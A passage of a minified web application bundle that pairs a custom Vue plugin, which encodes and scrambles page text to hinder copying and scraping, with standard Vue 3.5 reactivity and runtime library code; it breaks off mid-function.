var $S=Object.defineProperty;var WS=(e,t,n)=>t in e?$S(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var qt=(e,t,n)=>(WS(e,typeof t!="symbol"?t+"":t,n),n);(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const o of document.querySelectorAll('link[rel="modulepreload"]'))s(o);new MutationObserver(o=>{for(const a of o)if(a.type==="childList")for(const c of a.addedNodes)c.tagName==="LINK"&&c.rel==="modulepreload"&&s(c)}).observe(document,{childList:!0,subtree:!0});function n(o){const a={};return o.integrity&&(a.integrity=o.integrity),o.referrerPolicy&&(a.referrerPolicy=o.referrerPolicy),o.crossOrigin==="use-credentials"?a.credentials="include":o.crossOrigin==="anonymous"?a.credentials="omit":a.credentials="same-origin",a}function s(o){if(o.ep)return;o.ep=!0;const a=n(o);fetch(o.href,a)}})();const HS={install(e){VS(),e.directive("odata",{mounted(t){Lr(t),window.decodeObfuscatedContent&&setTimeout(()=>window.decodeObfuscatedContent(t),0),Vd(t)},updated(t){Lr(t),window.decodeObfuscatedContent&&setTimeout(()=>window.decodeObfuscatedContent(t),0)}}),e.mixin({mounted(){(this.$el?this.$el.nodeType===Node.ELEMENT_NODE?[this.$el]:Array.isArray(this.$el)?this.$el:[]:[]).forEach(n=>{if(!n||!(n instanceof Element))return;Lr(n),(o=>{if(o instanceof Element)try{o.querySelectorAll("*").forEach(c=>{Lr(c,null)}),window.decodeObfuscatedContent&&setTimeout(()=>window.decodeObfuscatedContent(o),0)}catch(a){console.error("Error processing child nodes:",a,o)}})(n),Vd(n)}),setTimeout(()=>{const n=s=>{if(s.hasAttribute&&s.hasAttribute("data-obfuscated"))return;let o=!1,a=!1;s.childNodes&&s.childNodes.length>0&&(o=Array.from(s.childNodes).some(c=>c.nodeType===Node.TEXT_NODE&&c.textContent&&c.textContent.trim()),a=Array.from(s.childNodes).some(c=>c.nodeType===Node.ELEMENT_NODE)),o&&!a&&!Ic.includes(s.tagName)&&!Array.from(s.classList||[]).some(c=>Nc.includes(c))&&(Lr(s),window.decodeObfuscatedContent&&window.decodeObfuscatedContent(s)),s.children&&Array.from(s.children).forEach(c=>{n(c)})};n(document.body)},10)},updated(){(this.$el?this.$el.nodeType===Node.ELEMENT_NODE?[this.$el]:Array.isArray(this.$el)?this.$el:[]:[]).forEach(n=>{if(!(!n||!(n instanceof Element))){Lr(n);try{n.querySelectorAll("*").forEach(o=>{Lr(o,null)}),window.decodeObfuscatedContent&&setTimeout(()=>window.decodeObfuscatedContent(n),0)}catch(s){console.error("Error processing updated component:",s,n)}}})}})}},Ic=["SCRIPT","STYLE","TEXTAREA","INPUT","PRE","CODE"],Nc=["no-obfuscate"];function Lr(e,t){var u;if(!e||e.nodeType!==Node.ELEMENT_NODE)return;if(e.tagName==="DIV"&&!e.hasAttribute("data-obfuscated")){let h=!1;for(let d=0;dm.nodeType===Node.TEXT_NODE&&m.textContent).map(m=>m.textContent).join("").trim();if(d){const m=e.innerHTML,g=Kd(d);e.innerHTML=g+m.replace(d,""),e.setAttribute("data-obfuscated","true")}}}if(e.hasAttribute("data-obfuscated")||!e||Ic.includes(e.tagName)||Array.from(e.classList).some(h=>Nc.includes(h)))return;const n=document.createTreeWalker(e,NodeFilter.SHOW_TEXT,{acceptNode(h){if(!h.textContent)return NodeFilter.FILTER_REJECT;const d=h.parentElement;return d&&(Ic.includes(d.tagName)||d.hasAttribute("data-obfuscated")||Array.from(d.classList||[]).some(m=>Nc.includes(m)))||h.textContent.trim()===""&&!((d==null?void 0:d.tagName)==="P"&&h===d.firstChild)?NodeFilter.FILTER_REJECT:NodeFilter.FILTER_ACCEPT}}),s=[];let o=n.nextNode();for(;o;)s.push(o),o=n.nextNode();const a=[],c=[];for(const h of s){const d=h.textContent;if(!d)continue;let m=d;if(!(((u=h.parentElement)==null?void 0:u.tagName)==="P"&&h===h.parentElement.firstChild&&(m=d.replace(/^\s+/,""),!m)))try{const g=document.createDocumentFragment(),w=document.createElement("div");for(w.innerHTML=Kd(m);w.firstChild;)g.appendChild(w.firstChild);a.push(g),c.push(h)}catch(g){console.error("Error processing text node:",g)}}for(let h=0;h{for(const s of n)s.type==="childList"&&s.addedNodes.length&&s.addedNodes.forEach(o=>{o.nodeType===Node.ELEMENT_NODE&&(Lr(o),window.decodeObfuscatedContent&&window.decodeObfuscatedContent(o))})}).observe(e,{childList:!0,subtree:!0})}function qd(){const e=[()=>``,()=>{const n=["z-nil","z-void","z-null","z-fake","z-empty"],s=n[Math.floor(Math.random()*n.length)];return`<${s}>`},()=>{const n=`data-${Math.random().toString(36).substring(2,7)}`,s=Math.random().toString(36).substring(2,10);return``},()=>`${Math.random().toString(36).substring(2,8)}`],t=e[Math.floor(Math.random()*e.length)];return t()}function Kd(e){if(!e||(e=e.replace(/^\s+/,""),!e))return"";const t=e.split(/(\s+)/);let n='';return t.filter(o=>o.length>0).forEach((o,a)=>{if(/^\s+$/.test(o)){/[\n\r]/.test(o)?n+="":n+="";return}Math.random()>.85&&(n+=qd());const c="data",u=btoa(encodeURIComponent(o)),h=Math.random()>.5?"z-span":"z-strong";if(n+=`<${h} data-${c}="${u}" data-preload="true">`,Math.random()>.8){const d=Math.random().toString(36).substring(2,5+Math.floor(Math.random()*5));n+=`${d}`}n+=``,Math.random()>.85&&(n+=qd())}),n+="",n}function VS(){if(!document.getElementById("obfuscation-style")){const t=document.createElement("style");t.id="obfuscation-style",t.textContent=` /* 自定义元素基本样式 */ z-wrap { display: inline; white-space: normal; user-select: none; /* 阻止文本选择 */ text-indent: 0 !important; /* 确保无缩进 */ } /* 添加一个类来允许选择文本的情况 */ .allow-select z-wrap { user-select: text; } /* 确保段落中的混淆内容没有开头缩进 */ p > z-wrap:first-child { text-indent: 0 !important; margin-left: 0 !important; padding-left: 0 !important; } /* 处理所有p标签,确保没有多余空间 */ p { text-indent: 0; } z-span, z-strong { display: inline-block; position: relative; opacity: 1; transition: opacity 0.1s ease; margin: 0; padding: 0; } /* 控制右侧间距 */ z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span { margin-left: 0.1em; } /* 移除最后一个元素的右侧间距 */ z-span:last-child, z-strong:last-child { margin-right: 0; } z-span::after, z-strong::after { content: attr(data-content); position: relative; pointer-events: none; } /* 空格元素 - 精确控制宽度 */ z-space { display: inline-block; width: 0.25em; margin: 0; padding: 0; } /* 空的z-span/z-strong元素不应该显示 */ z-span:not([data-content]), z-strong:not([data-content]) { display: none; } /* 换行元素 - 强制换行且完全没有尺寸 */ z-break { display: block !important; height: 0 !important; width: 0 !important; margin: 0 !important; padding: 0 !important; border: none !important; line-height: 0 !important; font-size: 0 !important; overflow: hidden !important; } /* 隐藏所有噪声元素 */ z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden { display: none; width: 0; height: 0; opacity: 0; overflow: hidden; position: absolute; visibility: hidden; } /* 预加载状态 */ [data-preload="true"] { min-width: 0.5em; min-height: 1em; } `,document.head.appendChild(t)}const e=document.createElement("script");if(e.textContent=` // 注册所有自定义元素 if ('customElements' in window) { customElements.define('z-wrap', class extends HTMLElement {}); customElements.define('z-span', class extends HTMLElement {}); customElements.define('z-strong', class extends HTMLElement {}); customElements.define('z-space', class extends HTMLElement {}); customElements.define('z-break', class extends HTMLElement {}); // 注册噪声元素 customElements.define('z-nil', class extends HTMLElement {}); customElements.define('z-void', class extends HTMLElement {}); customElements.define('z-null', class extends HTMLElement {}); customElements.define('z-fake', class extends HTMLElement {}); customElements.define('z-empty', class extends HTMLElement {}); customElements.define('z-attr', class extends HTMLElement {}); customElements.define('z-text', class extends HTMLElement {}); customElements.define('z-hidden', class extends HTMLElement {}); } `,document.head.appendChild(e),!document.getElementById("obfuscation-script")){const t=document.createElement("script");t.id="obfuscation-script",t.textContent=` (function() { // 定义解码函数并暴露为全局函数 window.decodeObfuscatedContent = function(rootElement) { const root = rootElement || document.body; const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]'); if (elements.length === 0) return; // 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染 const runWhenIdle = window.requestIdleCallback || function(cb) { setTimeout(cb, 1); }; runWhenIdle(() => { elements.forEach(el => { // 避免重复解码 if (el.hasAttribute('data-content')) return; // 找到编码数据 const dataAttr = el.getAttribute('data-data'); if (dataAttr) { try { // 解码并设置 const decodedWord = decodeURIComponent(atob(dataAttr)); el.setAttribute('data-content', decodedWord); el.removeAttribute('data-preload'); } catch (e) { // 解码失败时跳过 } } }); }); }; // 页面加载完成后立即执行一次全局解码 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', function() { window.decodeObfuscatedContent(); }); } else { window.decodeObfuscatedContent(); } // 使用IntersectionObserver优化解码性能 if ('IntersectionObserver' in window) { const decodeObserver = new IntersectionObserver( (entries, observer) => { entries.forEach(entry => { if (entry.isIntersecting) { // 容器进入视口时解码其内容 window.decodeObfuscatedContent(entry.target); observer.unobserve(entry.target); } }); }, { rootMargin: '200px 0px' } // 提前200像素开始解码 ); // 监听所有混淆容器 function observeContainers() { document.querySelectorAll('z-wrap').forEach(container => { decodeObserver.observe(container); }); } // 初始观察 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', observeContainers); } else { observeContainers(); } // 定期检查新容器 setInterval(observeContainers, 2000); } else { // 降级方案:定期全局检查 setInterval(() => window.decodeObfuscatedContent(), 1000); } })(); `,document.head.firstChild?document.head.insertBefore(t,document.head.firstChild):document.head.appendChild(t)}}/** * @vue/shared v3.5.12 * (c) 2018-present Yuxi (Evan) You and Vue contributors * @license MIT **//*! #__NO_SIDE_EFFECTS__ */function Eu(e){const t=Object.create(null);for(const n of e.split(","))t[n]=1;return n=>n in t}const nt={},ks=[],Fn=()=>{},qS=()=>!1,Ea=e=>e.charCodeAt(0)===111&&e.charCodeAt(1)===110&&(e.charCodeAt(2)>122||e.charCodeAt(2)<97),wu=e=>e.startsWith("onUpdate:"),Ft=Object.assign,Su=(e,t)=>{const n=e.indexOf(t);n>-1&&e.splice(n,1)},KS=Object.prototype.hasOwnProperty,Xe=(e,t)=>KS.call(e,t),we=Array.isArray,Ds=e=>wa(e)==="[object Map]",Bm=e=>wa(e)==="[object Set]",Re=e=>typeof e=="function",Nt=e=>typeof e=="string",gr=e=>typeof e=="symbol",pt=e=>e!==null&&typeof e=="object",$m=e=>(pt(e)||Re(e))&&Re(e.then)&&Re(e.catch),Wm=Object.prototype.toString,wa=e=>Wm.call(e),zS=e=>wa(e).slice(8,-1),Hm=e=>wa(e)==="[object Object]",Tu=e=>Nt(e)&&e!=="NaN"&&e[0]!=="-"&&""+parseInt(e,10)===e,wi=Eu(",key,ref,ref_for,ref_key,onVnodeBeforeMount,onVnodeMounted,onVnodeBeforeUpdate,onVnodeUpdated,onVnodeBeforeUnmount,onVnodeUnmounted"),Sa=e=>{const t=Object.create(null);return n=>t[n]||(t[n]=e(n))},GS=/-(\w)/g,Ln=Sa(e=>e.replace(GS,(t,n)=>n?n.toUpperCase():"")),jS=/\B([A-Z])/g,fs=Sa(e=>e.replace(jS,"-$1").toLowerCase()),Ta=Sa(e=>e.charAt(0).toUpperCase()+e.slice(1)),ic=Sa(e=>e?`on${Ta(e)}`:""),Dr=(e,t)=>!Object.is(e,t),zo=(e,...t)=>{for(let n=0;n{Object.defineProperty(e,t,{configurable:!0,enumerable:!1,writable:s,value:n})},Pc=e=>{const t=parseFloat(e);return isNaN(t)?e:t};let zd;const Oa=()=>zd||(zd=typeof globalThis<"u"?globalThis:typeof self<"u"?self:typeof window<"u"?window:typeof global<"u"?global:{});function Ou(e){if(we(e)){const t={};for(let n=0;n{if(n){const s=n.split(JS);s.length>1&&(t[s[0].trim()]=s[1].trim())}}),t}function Ru(e){let t="";if(Nt(e))t=e;else if(we(e))for(let n=0;n!!(e&&e.__v_isRef===!0),tT=e=>Nt(e)?e:e==null?"":we(e)||pt(e)&&(e.toString===Wm||!Re(e.toString))?Km(e)?tT(e.value):JSON.stringify(e,zm,2):String(e),zm=(e,t)=>Km(t)?zm(e,t.value):Ds(t)?{[`Map(${t.size})`]:[...t.entries()].reduce((n,[s,o],a)=>(n[oc(s,a)+" =>"]=o,n),{})}:Bm(t)?{[`Set(${t.size})`]:[...t.values()].map(n=>oc(n))}:gr(t)?oc(t):pt(t)&&!we(t)&&!Hm(t)?String(t):t,oc=(e,t="")=>{var n;return gr(e)?`Symbol(${(n=e.description)!=null?n:t})`:e};/** * @vue/reactivity v3.5.12 * (c) 2018-present Yuxi (Evan) You and Vue contributors * @license MIT **/let Xt;class Gm{constructor(t=!1){this.detached=t,this._active=!0,this.effects=[],this.cleanups=[],this._isPaused=!1,this.parent=Xt,!t&&Xt&&(this.index=(Xt.scopes||(Xt.scopes=[])).push(this)-1)}get active(){return this._active}pause(){if(this._active){this._isPaused=!0;let t,n;if(this.scopes)for(t=0,n=this.scopes.length;t0)return;if(Ti){let t=Ti;for(Ti=void 0;t;){const n=t.next;t.next=void 0,t.flags&=-9,t=n}}let e;for(;Si;){let t=Si;for(Si=void 0;t;){const n=t.next;if(t.next=void 0,t.flags&=-9,t.flags&1)try{t.trigger()}catch(s){e||(e=s)}t=n}}if(e)throw e}function Qm(e){for(let t=e.deps;t;t=t.nextDep)t.version=-1,t.prevActiveLink=t.dep.activeLink,t.dep.activeLink=t}function Zm(e){let t,n=e.depsTail,s=n;for(;s;){const o=s.prevDep;s.version===-1?(s===n&&(n=o),Lu(s),rT(s)):t=s,s.dep.activeLink=s.prevActiveLink,s.prevActiveLink=void 0,s=o}e.deps=t,e.depsTail=n}function kc(e){for(let t=e.deps;t;t=t.nextDep)if(t.dep.version!==t.version||t.dep.computed&&(eg(t.dep.computed)||t.dep.version!==t.version))return!0;return!!e._dirty}function eg(e){if(e.flags&4&&!(e.flags&16)||(e.flags&=-17,e.globalVersion===xi))return;e.globalVersion=xi;const t=e.dep;if(e.flags|=2,t.version>0&&!e.isSSR&&e.deps&&!kc(e)){e.flags&=-3;return}const n=ot,s=Un;ot=e,Un=!0;try{Qm(e);const o=e.fn(e._value);(t.version===0||Dr(o,e._value))&&(e._value=o,t.version++)}catch(o){throw t.version++,o}finally{ot=n,Un=s,Zm(e),e.flags&=-3}}function Lu(e,t=!1){const{dep:n,prevSub:s,nextSub:o}=e;if(s&&(s.nextSub=o,e.prevSub=void 0),o&&(o.prevSub=s,e.nextSub=void 0),n.subs===e&&(n.subs=s,!s&&n.computed)){n.computed.flags&=-5;for(let a=n.computed.deps;a;a=a.nextDep)Lu(a,!0)}!t&&!--n.sc&&n.map&&n.map.delete(n.key)}function rT(e){const{prevDep:t,nextDep:n}=e;t&&(t.nextDep=n,e.prevDep=void 0),n&&(n.prevDep=t,e.nextDep=void 0)}let Un=!0;const tg=[];function Br(){tg.push(Un),Un=!1}function $r(){const e=tg.pop();Un=e===void 0?!0:e}function Gd(e){const{cleanup:t}=e;if(e.cleanup=void 0,t){const n=ot;ot=void 0;try{t()}finally{ot=n}}}let xi=0;class sT{constructor(t,n){this.sub=t,this.dep=n,this.version=n.version,this.nextDep=this.prevDep=this.nextSub=this.prevSub=this.prevActiveLink=void 0}}class Iu{constructor(t){this.computed=t,this.version=0,this.activeLink=void 0,this.subs=void 0,this.map=void 0,this.key=void 0,this.sc=0}track(t){if(!ot||!Un||ot===this.computed)return;let n=this.activeLink;if(n===void 0||n.sub!==ot)n=this.activeLink=new sT(ot,this),ot.deps?(n.prevDep=ot.depsTail,ot.depsTail.nextDep=n,ot.depsTail=n):ot.deps=ot.depsTail=n,ng(n);else if(n.version===-1&&(n.version=this.version,n.nextDep)){const s=n.nextDep;s.prevDep=n.prevDep,n.prevDep&&(n.prevDep.nextDep=s),n.prevDep=ot.depsTail,n.nextDep=void 0,ot.depsTail.nextDep=n,ot.depsTail=n,ot.deps===n&&(ot.deps=s)}return n}trigger(t){this.version++,xi++,this.notify(t)}notify(t){Cu();try{for(let n=this.subs;n;n=n.prevSub)n.sub.notify()&&n.sub.dep.notify()}finally{xu()}}}function ng(e){if(e.dep.sc++,e.sub.flags&4){const t=e.dep.computed;if(t&&!e.dep.subs){t.flags|=20;for(let s=t.deps;s;s=s.nextDep)ng(s)}const n=e.dep.subs;n!==e&&(e.prevSub=n,n&&(n.nextSub=e)),e.dep.subs=e}}const aa=new WeakMap,is=Symbol(""),Dc=Symbol(""),Li=Symbol("");function Kt(e,t,n){if(Un&&ot){let s=aa.get(e);s||aa.set(e,s=new Map);let o=s.get(n);o||(s.set(n,o=new Iu),o.map=s,o.key=n),o.track()}}function hr(e,t,n,s,o,a){const c=aa.get(e);if(!c){xi++;return}const u=h=>{h&&h.trigger()};if(Cu(),t==="clear")c.forEach(u);else{const h=we(e),d=h&&Tu(n);if(h&&n==="length"){const m=Number(s);c.forEach((g,w)=>{(w==="length"||w===Li||!gr(w)&&w>=m)&&u(g)})}else switch((n!==void 0||c.has(void 0))&&u(c.get(n)),d&&u(c.get(Li)),t){case"add":h?d&&u(c.get("length")):(u(c.get(is)),Ds(e)&&u(c.get(Dc)));break;case"delete":h||(u(c.get(is)),Ds(e)&&u(c.get(Dc)));break;case"set":Ds(e)&&u(c.get(is));break}}xu()}function iT(e,t){const n=aa.get(e);return n&&n.get(t)}function As(e){const t=Ke(e);return t===e?t:(Kt(t,"iterate",Li),Bn(e)?t:t.map(Qt))}function Nu(e){return Kt(e=Ke(e),"iterate",Li),e}const oT={__proto__:null,[Symbol.iterator](){return lc(this,Symbol.iterator,Qt)},concat(...e){return As(this).concat(...e.map(t=>we(t)?As(t):t))},entries(){return lc(this,"entries",e=>(e[1]=Qt(e[1]),e))},every(e,t){return lr(this,"every",e,t,void 0,arguments)},filter(e,t){return lr(this,"filter",e,t,n=>n.map(Qt),arguments)},find(e,t){return lr(this,"find",e,t,Qt,arguments)},findIndex(e,t){return lr(this,"findIndex",e,t,void 0,arguments)},findLast(e,t){return lr(this,"findLast",e,t,Qt,arguments)},findLastIndex(e,t){return lr(this,"findLastIndex",e,t,void 0,arguments)},forEach(e,t){return lr(this,"forEach",e,t,void 0,arguments)},includes(...e){return cc(this,"includes",e)},indexOf(...e){return cc(this,"indexOf",e)},join(e){return As(this).join(e)},lastIndexOf(...e){return cc(this,"lastIndexOf",e)},map(e,t){return lr(this,"map",e,t,void 0,arguments)},pop(){return di(this,"pop")},push(...e){return di(this,"push",e)},reduce(e,...t){return jd(this,"reduce",e,t)},reduceRight(e,...t){return jd(this,"reduceRight",e,t)},shift(){return di(this,"shift")},some(e,t){return lr(this,"some",e,t,void 0,arguments)},splice(...e){return di(this,"splice",e)},toReversed(){return As(this).toReversed()},toSorted(e){return As(this).toSorted(e)},toSpliced(...e){return As(this).toSpliced(...e)},unshift(...e){return di(this,"unshift",e)},values(){return lc(this,"values",Qt)}};function lc(e,t,n){const s=Nu(e),o=s[t]();return s!==e&&!Bn(e)&&(o._next=o.next,o.next=()=>{const a=o._next();return a.value&&(a.value=n(a.value)),a}),o}const aT=Array.prototype;function lr(e,t,n,s,o,a){const c=Nu(e),u=c!==e&&!Bn(e),h=c[t];if(h!==aT[t]){const g=h.apply(e,a);return u?Qt(g):g}let d=n;c!==e&&(u?d=function(g,w){return n.call(this,Qt(g),w,e)}:n.length>2&&(d=function(g,w){return n.call(this,g,w,e)}));const m=h.call(c,d,s);return u&&o?o(m):m}function jd(e,t,n,s){const o=Nu(e);let a=n;return o!==e&&(Bn(e)?n.length>3&&(a=function(c,u,h){return n.call(this,c,u,h,e)}):a=function(c,u,h){return n.call(this,c,Qt(u),h,e)}),o[t](a,...s)}function cc(e,t,n){const s=Ke(e);Kt(s,"iterate",Li);const o=s[t](...n);return(o===-1||o===!1)&&Du(n[0])?(n[0]=Ke(n[0]),s[t](...n)):o}function di(e,t,n=[]){Br(),Cu();const s=Ke(e)[t].apply(e,n);return xu(),$r(),s}const lT=Eu("__proto__,__v_isRef,__isVue"),rg=new Set(Object.getOwnPropertyNames(Symbol).filter(e=>e!=="arguments"&&e!=="caller").map(e=>Symbol[e]).filter(gr));function cT(e){gr(e)||(e=String(e));const t=Ke(this);return Kt(t,"has",e),t.hasOwnProperty(e)}class sg{constructor(t=!1,n=!1){this._isReadonly=t,this._isShallow=n}get(t,n,s){const o=this._isReadonly,a=this._isShallow;if(n==="__v_isReactive")return!o;if(n==="__v_isReadonly")return o;if(n==="__v_isShallow")return a;if(n==="__v_raw")return s===(o?a?bT:lg:a?ag:og).get(t)||Object.getPrototypeOf(t)===Object.getPrototypeOf(s)?t:void 0;const c=we(t);if(!o){let h;if(c&&(h=oT[n]))return h;if(n==="hasOwnProperty")return cT}const u=Reflect.get(t,n,yt(t)?t:s);return(gr(n)?rg.has(n):lT(n))||(o||Kt(t,"get",n),a)?u:yt(u)?c&&Tu(n)?u:u.value:pt(u)?o?ug(u):Vi(u):u}}class ig extends sg{constructor(t=!1){super(!1,t)}set(t,n,s,o){let a=t[n];if(!this._isShallow){const h=cs(a);if(!Bn(s)&&!cs(s)&&(a=Ke(a),s=Ke(s)),!we(t)&&yt(a)&&!yt(s))return h?!1:(a.value=s,!0)}const c=we(t)&&Tu(n)?Number(n)e,Bo=e=>Reflect.getPrototypeOf(e);function pT(e,t,n){return function(...s){const o=this.__v_raw,a=Ke(o),c=Ds(a),u=e==="entries"||e===Symbol.iterator&&c,h=e==="keys"&&c,d=o[e](...s),m=n?Mc:t?Fc:Qt;return!t&&Kt(a,"iterate",h?Dc:is),{next(){const{value:g,done:w}=d.next();return w?{value:g,done:w}:{value:u?[m(g[0]),m(g[1])]:m(g),done:w}},[Symbol.iterator](){return this}}}}function $o(e){return function(...t){return e==="delete"?!1:e==="clear"?void 0:this}}function mT(e,t){const n={get(o){const a=this.__v_raw,c=Ke(a),u=Ke(o);e||(Dr(o,u)&&Kt(c,"get",o),Kt(c,"get",u));const{has:h}=Bo(c),d=t?Mc:e?Fc:Qt;if(h.call(c,o))return d(a.get(o));if(h.call(c,u))return d(a.get(u));a!==c&&a.get(o)},get size(){const o=this.__v_raw;return!e&&Kt(Ke(o),"iterate",is),Reflect.get(o,"size",o)},has(o){const a=this.__v_raw,c=Ke(a),u=Ke(o);return e||(Dr(o,u)&&Kt(c,"has",o),Kt(c,"has",u)),o===u?a.has(o):a.has(o)||a.has(u)},forEach(o,a){const c=this,u=c.__v_raw,h=Ke(u),d=t?Mc:e?Fc:Qt;return!e&&Kt(h,"iterate",is),u.forEach((m,g)=>o.call(a,d(m),d(g),c))}};return Ft(n,e?{add:$o("add"),set:$o("set"),delete:$o("delete"),clear:$o("clear")}:{add(o){!t&&!Bn(o)&&!cs(o)&&(o=Ke(o));const a=Ke(this);return Bo(a).has.call(a,o)||(a.add(o),hr(a,"add",o,o)),this},set(o,a){!t&&!Bn(a)&&!cs(a)&&(a=Ke(a));const c=Ke(this),{has:u,get:h}=Bo(c);let d=u.call(c,o);d||(o=Ke(o),d=u.call(c,o));const m=h.call(c,o);return c.set(o,a),d?Dr(a,m)&&hr(c,"set",o,a):hr(c,"add",o,a),this},delete(o){const a=Ke(this),{has:c,get:u}=Bo(a);let h=c.call(a,o);h||(o=Ke(o),h=c.call(a,o)),u&&u.call(a,o);const d=a.delete(o);return h&&hr(a,"delete",o,void 0),d},clear(){const o=Ke(this),a=o.size!==0,c=o.clear();return a&&hr(o,"clear",void 0,void 0),c}}),["keys","values","entries",Symbol.iterator].forEach(o=>{n[o]=pT(o,e,t)}),n}function Pu(e,t){const n=mT(e,t);return(s,o,a)=>o==="__v_isReactive"?!e:o==="__v_isReadonly"?e:o==="__v_raw"?s:Reflect.get(Xe(n,o)&&o in s?n:s,o,a)}const gT={get:Pu(!1,!1)},_T={get:Pu(!1,!0)},yT={get:Pu(!0,!1)};const og=new WeakMap,ag=new WeakMap,lg=new WeakMap,bT=new WeakMap;function vT(e){switch(e){case"Object":case"Array":return 1;case"Map":case"Set":case"WeakMap":case"WeakSet":return 2;default:return 0}}function ET(e){return e.__v_skip||!Object.isExtensible(e)?0:vT(zS(e))}function Vi(e){return cs(e)?e:ku(e,!1,fT,gT,og)}function cg(e){return ku(e,!1,dT,_T,ag)}function ug(e){return ku(e,!0,hT,yT,lg)}function ku(e,t,n,s,o){if(!pt(e)||e.__v_raw&&!(t&&e.__v_isReactive))return e;const a=o.get(e);if(a)return a;const c=ET(e);if(c===0)return e;const u=new Proxy(e,c===2?s:n);return o.set(e,u),u}function os(e){return cs(e)?os(e.__v_raw):!!(e&&e.__v_isReactive)}function cs(e){return!!(e&&e.__v_isReadonly)}function Bn(e){return!!(e&&e.__v_isShallow)}function Du(e){return e?!!e.__v_raw:!1}function Ke(e){const t=e&&e.__v_raw;return t?Ke(t):e}function Mu(e){return!Xe(e,"__v_skip")&&Object.isExtensible(e)&&Vm(e,"__v_skip",!0),e}const Qt=e=>pt(e)?Vi(e):e,Fc=e=>pt(e)?ug(e):e;function yt(e){return e?e.__v_isRef===!0:!1}function Wr(e){return hg(e,!1)}function fg(e){return hg(e,!0)}function hg(e,t){return yt(e)?e:new wT(e,t)}class wT{constructor(t,n){this.dep=new Iu,this.__v_isRef=!0,this.__v_isShallow=!1,this._rawValue=n?t:Ke(t),this._value=n?t:Qt(t),this.__v_isShallow=n}get value(){return this.dep.track(),this._value}set value(t){const n=this._rawValue,s=this.__v_isShallow||Bn(t)||cs(t);t=s?t:Ke(t),Dr(t,n)&&(this._rawValue=t,this._value=s?t:Qt(t),this.dep.trigger())}}function as(e){return yt(e)?e.value:e}const ST={get:(e,t,n)=>t==="__v_raw"?e:as(Reflect.get(e,t,n)),set:(e,t,n,s)=>{const o=e[t];return yt(o)&&!yt(n)?(o.value=n,!0):Reflect.set(e,t,n,s)}};function dg(e){return os(e)?e:new Proxy(e,ST)}function TT(e){const t=we(e)?new Array(e.length):{};for(const n in e)t[n]=RT(e,n);return t}class OT{constructor(t,n,s){this._object=t,this._key=n,this._defaultValue=s,this.__v_isRef=!0,this._value=void 0}get value(){const t=this._object[this._key];return this._value=t===void 0?this._defaultValue:t}set value(t){this._object[this._key]=t}get dep(){return iT(Ke(this._object),this._key)}}function RT(e,t,n){const s=e[t];return yt(s)?s:new OT(e,t,n)}class AT{constructor(t,n,s){this.fn=t,this.setter=n,this._value=void 0,this.dep=new Iu(this),this.__v_isRef=!0,this.deps=void 0,this.depsTail=void 0,this.flags=16,this.globalVersion=xi-1,this.next=void 0,this.effect=this,this.__v_isReadonly=!n,this.isSSR=s}notify(){if(this.flags|=16,!(this.flags&8)&&ot!==this)return Xm(this,!0),!0}get value(){const t=this.dep.track();return eg(this),t&&(t.version=this.dep.version),this._value}set value(t){this.setter&&this.setter(t)}}function CT(e,t,n=!1){let s,o;return Re(e)?s=e:(s=e.get,o=e.set),new AT(s,o,n)}const Wo={},la=new WeakMap;let ts;function xT(e,t=!1,n=ts){if(n){let s=la.get(n);s||la.set(n,s=[]),s.push(e)}}function LT(e,t,n=nt){const{immediate:s,deep:o,once:a,scheduler:c,augmentJob:u,call:h}=n,d=x=>o?x:Bn(x)||o===!1||o===0?dr(x,1):dr(x);let m,g,w,O,P=!1,F=!1;if(yt(e)?(g=()=>e.value,P=Bn(e)):os(e)?(g=()=>d(e),P=!0):we(e)?(F=!0,P=e.some(x=>os(x)||Bn(x)),g=()=>e.map(x=>{if(yt(x))return x.value;if(os(x))return d(x);if(Re(x))return h?h(x,2):x()})):Re(e)?t?g=h?()=>h(e,2):e:g=()=>{if(w){Br();try{w()}finally{$r()}}const x=ts;ts=m;try{return h?h(e,3,[O]):e(O)}finally{ts=x}}:g=Fn,t&&o){const x=g,q=o===!0?1/0:o;g=()=>dr(x(),q)}const D=jm(),R=()=>{m.stop(),D&&Su(D.effects,m)};if(a&&t){const x=t;t=(...q)=>{x(...q),R()}}let N=F?new Array(e.length).fill(Wo):Wo;const U=x=>{if(!(!(m.flags&1)||!m.dirty&&!x))if(t){const q=m.run();if(o||P||(F?q.some((Z,W)=>Dr(Z,N[W])):Dr(q,N))){w&&w();const Z=ts;ts=m;try{const W=[q,N===Wo?void 0:F&&N[0]===Wo?[]:N,O];h?h(t,3,W):t(...W),N=q}finally{ts=Z}}}else m.run()};return u&&u(U),m=new Ym(g),m.scheduler=c?()=>c(U,!1):U,O=x=>xT(x,!1,m),w=m.onStop=()=>{const x=la.get(m);if(x){if(h)h(x,4);else for(const q of x)q();la.delete(m)}},t?s?U(!0):N=m.run():c?c(U.bind(null,!0),!0):m.run(),R.pause=m.pause.bind(m),R.resume=m.resume.bind(m),R.stop=R,R}function dr(e,t=1/0,n){if(t<=0||!pt(e)||e.__v_skip||(n=n||new Set,n.has(e)))return e;if(n.add(e),t--,yt(e))dr(e.value,t,n);else if(we(e))for(let s=0;s{dr(s,t,n)});else if(Hm(e)){for(const s in e)dr(e[s],t,n);for(const s of Object.getOwnPropertySymbols(e))Object.prototype.propertyIsEnumerable.call(e,s)&&dr(e[s],t,n)}return e}/** * @vue/runtime-core v3.5.12 * (c) 2018-present Yuxi (Evan) You and Vue contributors * @license MIT **/function qi(e,t,n,s){try{return s?e(...s):e()}catch(o){Ra(o,t,n)}}function Jn(e,t,n,s){if(Re(e)){const o=qi(e,t,n,s);return o&&$m(o)&&o.catch(a=>{Ra(a,t,n)}),o}if(we(e)){const o=[];for(let a=0;a>>1,o=Zt[s],a=Ii(o);a=Ii(n)?Zt.push(e):Zt.splice(NT(t),0,e),e.flags|=1,mg()}}function mg(){ca||(ca=pg.then(_g))}function PT(e){we(e)?Ms.push(...e):Nr&&e.id===-1?Nr.splice(xs+1,0,e):e.flags&1||(Ms.push(e),e.flags|=1),mg()}function 